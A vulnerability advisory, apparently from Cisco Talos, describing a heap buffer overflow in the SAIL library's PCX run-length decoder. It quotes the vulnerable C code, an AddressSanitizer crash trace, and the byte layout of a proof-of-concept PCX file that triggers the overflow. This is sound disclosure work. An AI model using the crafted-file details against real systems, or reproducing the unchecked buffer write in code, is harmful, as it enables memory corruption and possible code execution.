CVE-2025-35984
A memory corruption vulnerability exists in the PCX Image Decoding functionality of the SAIL Image Decoding Library v0.9.8. When decoding the image data from a specially crafted .pcx file, a heap-based buffer overflow can occur which allows for remote code execution. An attacker will need to convince the library to read a file to trigger this vulnerability.
The versions below were either tested or verified to be vulnerable by Talos or confirmed to be vulnerable by the vendor.
SAIL Image Decoding Library v0.9.8
221db576ce1263ab92bd882f344b68b8eec16cad (master)
SAIL Image Decoding Library - https://sail.software/
8.8 - CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:U/C:H/I:H/A:H
CWE-122 - Heap-based Buffer Overflow
SAIL is a format-agnostic image decoding library supporting all popular image formats. Being one of the fastest among competitors, it provides simple yet powerful C/C++ API for end-users. SAIL works on Windows, macOS, and Linux platforms.
The following function is used by the library when first loading a PCX image file. At [1], the implementation will first read the header from the file to the pcx_state->pcx_header
variable. Once the header has been read, at [2] the signature from the header will be verified.
sail/src/sail-codecs/pcx/pcx.c:93-119
SAIL_EXPORT sail_status_t sail_codec_load_init_v8_pcx(struct sail_io *io, const struct sail_load_options *load_options, void **state) {
...
/* Read PCX header. */
SAIL_TRY(pcx_private_read_header(pcx_state->io, &pcx_state->pcx_header)); // [1] read the image header
if (pcx_state->pcx_header.id != SAIL_PCX_SIGNATURE) { // [2] check its signature
SAIL_LOG_ERROR("PCX: ID is %u, but must be %u", pcx_state->pcx_header.id, SAIL_PCX_SIGNATURE);
SAIL_LOG_AND_RETURN(SAIL_ERROR_BROKEN_IMAGE);
}
...
return SAIL_OK;
}
Once the image header has been read, the sail_codec_load_seek_next_frame_v8_pcx
function will be used in order to determine the pixel format and dimensions of the image. At [3], the pcx_header.bits_per_plane
and pcx_header.planes
fields will be used to determine the pixel format for the decoded image data. Then, at [4] and [5] the image dimensions are calculated by taking the difference between the maximum and minimum values for each dimension pair. Afterwards at [6], the bytes per line from the header is multiplied by the number of planes in order to determine the number of bytes that are stored for each row of the image.
sail/src/sail-codecs/pcx/pcx.c:121-176
SAIL_EXPORT sail_status_t sail_codec_load_seek_next_frame_v8_pcx(void *state, struct sail_image **image) {
...
enum SailPixelFormat pixel_format;
SAIL_TRY(pcx_private_sail_pixel_format( // [3] determine the pixel format
pcx_state->pcx_header.bits_per_plane,
pcx_state->pcx_header.planes,
&pixel_format));
...
image_local->width = pcx_state->pcx_header.xmax - pcx_state->pcx_header.xmin + 1; // [4] calculate the width
image_local->height = pcx_state->pcx_header.ymax - pcx_state->pcx_header.ymin + 1; // [5] calculate the height
image_local->pixel_format = pixel_format;
image_local->bytes_per_line = pcx_state->pcx_header.bytes_per_line * pcx_state->pcx_header.planes; // [6] calculate the stride
/* Scan line buffer to store planes so we can merge them later into individual pixels. */
void *ptr;
SAIL_TRY_OR_CLEANUP(sail_malloc(image_local->bytes_per_line, &ptr),
/* cleanup */ sail_destroy_image(image_local));
pcx_state->scanline_buffer = ptr;
...
return SAIL_OK;
}
Afterwards, the image data can be decoded by the library using the following sail_codec_load_frame_v8_pcx
function. At [7], the pcx_header.encoding
field will be checked in order to determine if the image data is run-length encoded. If so, the function will iterate through each row and pixel for the image at [8]. Inside the loop at [9], the first byte of a run-length encoded packet is read. If the high-bit of this field is set, then the packet type is determined to be run-length encoded. At [10], the implementation will extract the fill count from the other 7-bits of the read byte and then read the color index to use. These values will then be used at [11] to decode the run-length encoded data. If the run-length decoding writes outside the bounds of the buffer allocated using the image dimensions and format, a heap-based buffer overflow can occur. This can result in code execution under the context of the library.
sail/src/sail-codecs/pcx/pcx.c:178-226
SAIL_EXPORT sail_status_t sail_codec_load_frame_v8_pcx(void *state, struct sail_image *image) {
...
if (pcx_state->pcx_header.encoding == SAIL_PCX_NO_ENCODING) { // [7] check if not run-length encoded
...
} else {
for (unsigned row = 0; row < image->height; row++) { // [8] process each image row
unsigned buffer_offset = 0;
/* Decode all planes of a single scan line. */
for (unsigned bytes = 0; bytes < image->bytes_per_line;) { // [8] decode each scan line
uint8_t marker;
SAIL_TRY(pcx_state->io->strict_read(pcx_state->io->stream, &marker, sizeof(marker))); // [9] read the first byte
uint8_t count;
uint8_t value;
/* RLE marker set. */
if ((marker & SAIL_PCX_RLE_MARKER) == SAIL_PCX_RLE_MARKER) {
count = marker & SAIL_PCX_RLE_COUNT_MASK; // [10] figure out the fill count
SAIL_TRY(pcx_state->io->strict_read(pcx_state->io->stream, &value, sizeof(value))); // [10] read color
} else {
/* Pixel value. */
count = 1;
value = marker;
}
bytes += count;
memset(pcx_state->scanline_buffer + buffer_offset, value, count); // [11] overflow scanline_buffer
buffer_offset += count;
}
...
}
}
return SAIL_OK;
}
$ sail decode poc.pcx
File : poc.pcx
Codec : PCX [Picture Exchange]
Codec version : 0.8.1
=================================================================
==161454==ERROR: AddressSanitizer: heap-buffer-overflow on address 0xf5901d74 at pc 0x080e8f00 bp 0xff851ee8 sp 0xff851ac0
WRITE of size 63 at 0xf5901d74 thread T0
#0 0x080e8eff in __asan_memset (/path/to/sail/sail+0x80e8eff) (BuildId: 4b81cb5dadd54c6bdb3dc4f0bde023080f125bd9)
#1 0x0815800c in sail_codec_load_frame_v8_pcx /path/to/sail/sail/src/sail-codecs/pcx/pcx.c:208:17
#2 0x0814116e in sail_load_next_frame /path/to/sail/sail/src/sail/sail_advanced.c:119:5
#3 0x08138a0f in decode_impl /path/to/sail/sail/examples/c/sail/sail.c:237:22
#4 0x08138a0f in decode /path/to/sail/sail/examples/c/sail/sail.c:265:5
#5 0x08138a0f in main /path/to/sail/sail/examples/c/sail/sail.c:366:9
#6 0xf7c6e0e0 in __libc_start_call_main (/lib/libc.so.6+0x30e0) (BuildId: 2409390f20d7cc2b798f08f89c7847ad2f4b74b1)
#7 0xf7c6e1b7 in __libc_start_main@GLIBC_2.0 (/lib/libc.so.6+0x31b7) (BuildId: 2409390f20d7cc2b798f08f89c7847ad2f4b74b1)
#8 0x08048a57 in _start (/path/to/sail/sail+0x8048a57) (BuildId: 4b81cb5dadd54c6bdb3dc4f0bde023080f125bd9)
0xf5901d74 is located 0 bytes after 4-byte region [0xf5901d70,0xf5901d74)
allocated by thread T0 here:
#0 0x080eaf46 in malloc (/path/to/sail/sail+0x80eaf46) (BuildId: 4b81cb5dadd54c6bdb3dc4f0bde023080f125bd9)
#1 0x08178131 in sail_malloc /path/to/sail/sail/src/sail-common/memory.c:34:23
#2 0x0815794e in sail_codec_load_seek_next_frame_v8_pcx /path/to/sail/sail/src/sail-codecs/pcx/pcx.c:157:5
#3 0x08141001 in sail_load_next_frame /path/to/sail/sail/src/sail/sail_advanced.c:106:5
#4 0x08138a0f in decode_impl /path/to/sail/sail/examples/c/sail/sail.c:237:22
#5 0x08138a0f in decode /path/to/sail/sail/examples/c/sail/sail.c:265:5
#6 0x08138a0f in main /path/to/sail/sail/examples/c/sail/sail.c:366:9
#7 0xf7c6e0e0 in __libc_start_call_main (/lib/libc.so.6+0x30e0) (BuildId: 2409390f20d7cc2b798f08f89c7847ad2f4b74b1)
SUMMARY: AddressSanitizer: heap-buffer-overflow (/path/to/sail/sail+0x80e8eff) (BuildId: 4b81cb5dadd54c6bdb3dc4f0bde023080f125bd9) in __asan_memset
Shadow bytes around the buggy address:
0xf5901a80: fa fa fa fa fa fa fa fa fa fa fa fa fa fa fa fa
0xf5901b00: fa fa fa fa fa fa fa fa fa fa fa fa fa fa fa fa
0xf5901b80: fa fa fa fa fa fa fa fa fa fa fa fa fa fa fa fa
0xf5901c00: fa fa fa fa fa fa fa fa fa fa fa fa fa fa fa fa
0xf5901c80: fa fa fa fa fa fa fa fa fa fa fa fa fa fa fa fa
=>0xf5901d00: fa fa fa fa fa fa fa fa fa fa 00 fa fa fa[04]fa
0xf5901d80: fa fa 00 fa fa fa 00 04 fa fa 00 fa fa fa fd fa
0xf5901e00: fa fa fd fd fa fa fd fa fa fa fd fa fa fa fd fa
0xf5901e80: fa fa 00 04 fa fa 00 fa fa fa 00 00 fa fa 00 fa
0xf5901f00: fa fa fa fa fa fa fa fa fa fa fa fa fa fa fa fa
0xf5901f80: fa fa fa fa fa fa fa fa fa fa fa fa fa fa fa fa
Shadow byte legend (one shadow byte represents 8 application bytes):
Addressable: 00
Partially addressable: 01 02 03 04 05 06 07
Heap left redzone: fa
Freed heap region: fd
Stack left redzone: f1
Stack mid redzone: f2
Stack right redzone: f3
Stack after return: f5
Stack use after scope: f8
Global redzone: f9
Global init order: f6
Poisoned by user: f7
Container overflow: fc
Array cookie: ac
Intra object redzone: bb
ASan internal: fe
Left alloca redzone: ca
Right alloca redzone: cb
==161454==ABORTING
$ python -i poc.py3.zip poc.pcx
The image generated by the proof-of-concept has the following format.
>>> pcx
<class pcx.File> 'unnamed_7f68cc9f3fb0' {unnamed=True}
[0] <instance pcx.Header 'Header'> "\x0a\x05\x01\x08\x00\x00\x00\x00\x01\x00\x01\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x04\x01\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00"
[80] <instance parray.type 'Image'> pcx.RLE[16] "\xff\x00\xff\x00\xff\x00\xff\x00\xff\x00\xff\x00\xff\x00\xff\x00\xff\x00\xff\x00\xff\x00\xff\x00\xff\x00\xff\x00\xff\x00\xff\x00"
[a0] <instance ptype.block 'Padding'> ...
[a0] <instance pcx.PaletteWithSignature 'Palette'> "\x0c\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00 ...total 769 bytes... \x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00"
[3a1] <instance ptype.block 'Extra'> ...
In the header for the image, the “Encoding
” and “BitsPerPixel
” fields are relevant to the vulnerability. In order to inform the decoder that the image data is run-length encoded, the “Encoding
” field must be set to RLE(1)
. Once this has been selected, the library will use the product of the “BytesPerLine
” field, the “NPlanes
” field, and the image height from the “Window
” field to allocate the target heap buffer.
>>> pcx['Header']
<class pcx.Header> 'Header'
[0] <instance pcx.Header._manufacturer 'Manufacturer'> ZSoft(0xa)
[1] <instance pcx.Header._version 'Version'> 3.0(0x5)
[2] <instance pcx.Header._encoding 'Encoding'> RLE(0x1)
[3] <instance pint.uint8_t 'BitsPerPixel'> 0x08 (8)
[4] <instance pcx.Window 'Window'> "\x00\x00\x00\x00\x01\x00\x01\x00"
[c] <instance pint.uint16_t 'HDpi'> 0x0000 (0)
[e] <instance pint.uint16_t 'VDpi'> 0x0000 (0)
[10] <instance pcx.Colormap 'Colormap'> pcx.RGB[16] "\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00"
[40] <instance pint.uint8_t 'Reserved'> 0x00 (0)
[41] <instance pint.uint8_t 'NPlanes'> 0x04 (4)
[42] <instance pint.uint16_t 'BytesPerLine'> 0x0001 (1)
[44] <instance pcx.Header._paletteInfo 'PaletteInfo'> 0x0000 (0)
[46] <instance pint.uint16_t 'HscreenSize'> 0x0000 (0)
[48] <instance pint.uint16_t 'VscreenSize'> 0x0000 (0)
[4a] <instance dynamic.block(54) 'Filler'> (54) "\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00"
The image dimensions are stored in the following structure which specifies the bounding box for the decoded image. The width of the image is calculated by taking the difference of the “Xmax
” and “Xmin
” fields. Likewise, the image height is calculated by taking the difference of the “Ymax
” and “Ymin
” fields. The generated image specifies a width of 1
and a height of 1
that when multiplied by the number of bytes calculated by the “NPlanes
” and “BytesPerLine
” fields will result in allocating space for a single pixel for decoding. The product of the “NPlanes
” and “BytesPerLine
” fields specifies the number of bits per line. Thus, the value will need to be divided by 8
to determine the number of bytes per line.
>>> pcx['header']['window']
<class pcx.Window> 'Window'
[4] <instance pint.uint16_t 'Xmin'> 0x0000 (0)
[6] <instance pint.uint16_t 'Ymin'> 0x0000 (0)
[8] <instance pint.uint16_t 'Xmax'> 0x0001 (1)
[a] <instance pint.uint16_t 'Ymax'> 0x0001 (1)
Each packet from the run-length encoded image data from the proof-of-concept has the following format. The first byte specifies the packet type along with a count representing the number of pixels that will need to be filled.
>>> pcx['Image'][0]
<class pcx.RLE> '0'
[80] <instance c(pb(pcx.RLEMarker)) 'marker'> {bits=8,partial=True} (0xff,8) :> marker=SAIL_PCX_RLE_MARKER(0x3,2) count=(0x3f,6)
[81] <instance be(pint.uint8_t) 'value'> 0x00 (0)
The first byte has the following format. The first 2
bits of the byte contain the packet type. This must be set to 3
or 0b11
in order to specify that the pixel is run-length encoded. After the first field, the following 6
bits specifies the number of pixels that will be written. If any of the run-length encoded packets specify a “count
” that overflows the number of bytes allocated by the product of the image dimensions and the bytes per line, then this vulnerability is being triggered.
>>> pcx['Image'][0]['marker']
<class c(pb(pcx.RLEMarker))> 'marker' {bits=8,partial=True}
[80.0] <instance pcx.RLEMarker._marker 'marker'> SAIL_PCX_RLE_MARKER(0x3,2)
[80.4] <instance c(pbinary.integer) 'count'> (0x3f,6)
>>>
2025-07-29 - Initial Vendor Contact
2025-07-29 - Vendor Disclosure
2025-07-29 - Vendor Patch Release
2025-08-25 - Public Release
Discovered by a member of Cisco Talos.